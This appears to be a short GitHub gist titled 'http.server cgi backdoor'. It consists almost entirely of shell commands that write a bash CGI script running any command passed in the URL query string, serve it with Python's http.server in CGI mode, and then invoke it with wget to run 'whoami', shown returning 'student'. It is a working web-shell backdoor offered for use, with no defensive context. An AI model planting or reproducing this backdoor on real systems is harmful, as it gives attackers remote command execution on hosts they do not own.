Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"
student
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment